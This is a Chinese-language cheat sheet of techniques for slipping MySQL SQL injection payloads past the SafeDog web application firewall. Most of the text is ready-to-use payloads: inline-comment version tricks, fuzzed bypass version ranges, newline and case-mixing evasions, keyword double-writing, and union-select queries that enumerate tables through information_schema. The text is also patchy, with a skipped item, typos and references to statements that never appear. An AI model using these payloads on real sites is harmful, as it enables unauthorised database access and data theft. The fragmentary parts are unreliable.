1.內聯注釋繞過
在mysql的語法中,有三種注釋方法:--和
1' and /*!1*/=/*!1*/ ##
(單行注釋)和/* */
(多行注釋)如果在/*
后加驚嘆號!
意為/* */
里的語句將被執行
在mysql中 /*! ....*/
不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!....*/
中,這樣這些語句如果在其他數據庫中是不會被執行,但在mysql中它會執行。如下語句/*!50001 select * from test */
;這里的50001表示假如 數據庫是5.00.01及以上版本,該語句才會被執行。
但是order by (這里order不攔截by不攔截,但是order后面加by會攔截)所以我們還是用之前的內聯注釋測試繞過,發現and能過的內聯注釋到了order by就不行了,根據開頭介紹的內聯的特性,往內聯里加數字進行測試。這里可以多准備些五位數因為一些常用的已經被安全狗攔了。簡單的fuzz 了一下,發現 了大量的可以繞過的版本號,也可以通過1' order/*%%!asd%%%%*/by 3 --+可以成功過狗:10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等。
union select繞過可以直接加內聯,因為安全狗看重的是關鍵字,要繞過只需要中間加些干擾就行,但union select中間需要放兩個內聯才行,之后的都是這樣。
union%20/*!11440%20select*/%201,2#
1'order%20/*!11440%20by*/%201,2#
union%20/!77777cz//!77777cz/%20select%201,2#,發現無法繞過WAF
但可以用內聯繞過,直接把()放到內聯里,或者經過簡單的變形就能過
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
select xxx from xxx (select 任意字符 from 后面跟任意字符等也會攔截),這里將select table_name和from information_schema.tables單獨進行測試,發現都不會被攔截,但是用select table_name,2 from information_schema.這種組合進行測試時就會被攔截。再測試select xxx from xxx發現被攔截。說明select后面跟任意字符再加上from再加上任意字符就會被攔截,只需要將select放進內聯即可繞過
查表名:
union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
還可以用mysql>5.6版本的新特性,mysql庫多了兩個新表,innodb_index_stats 和 innodb_table_stats,這兩個表是數據庫自動設置的用於記錄更改和新創建的數據庫和表的信息,但准確的說是保存最近的數據庫變動記錄。安全狗沒有對這兩個關鍵字進行限制。
2.等價替換法:
union%20/*!11440%20select*/%201,@@version,3#,發現不能繞過
4.boolen等價替換法:
構造 1' && Ture--+
繞過安全狗
5.換行繞過:
換行符繞過:%23%0a、%2d%2d%0a
%23 是url編碼中的 # (也就是MySQL中的行注釋符)
%0A 是url編碼中的 換行
%23 aaaa -->對應的就是 #aaaa (就相當於把這行給注釋掉了)
而再加上%0a(也就是換行符,后面的語句又能成功執行了)
6.空格繞過:
空格繞過的結構語句是在注釋中間加一些垃圾字符,來干擾安全狗檢測
7.使用大小寫:
WAF在拼接的時候很可能是按照小寫來檢測的,這時就可以使用大小寫互補來繞過檢測
8.雙寫替換:
比如:
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法適用於一些會把union select替換掉的WAF,經過WAF過濾后就會變成 union select 1,2,3,4....
9.編碼和相似語法結合繞過
在BurpSuite中將and(&&)進行編碼,后得到
等於號可以用 in 或like 進行代替,1=1可以變為1 in 1或 1 like 1或1 in 2或 1 like 2,再變通一下,此語句還可以變為-1 in -1或 -1 like -2,經過實驗發現 -1 like -2能夠成功繞過安全狗
10.取余函數mod()繞過
以上語句為:id=1 or mod(6,5) in (1),將整個數據庫暴露出來,WAF是不能夠在這里寫算法檢測求余,再者,大量的數據訪問,也不利於寫算法來檢測,所以可以構造語句來繞過。
有一個奇怪的現象,當我們在有注入的地方執行一個單引號,WAF是不攔截的
這是因為在后台語言中,有些函數在調用的時候,或者變量,參數,字符串等等時常需要做拼接的時候,需要用到單引號來實現拼接的功能,所以WAF默認沒有將單引號加入檢測規則。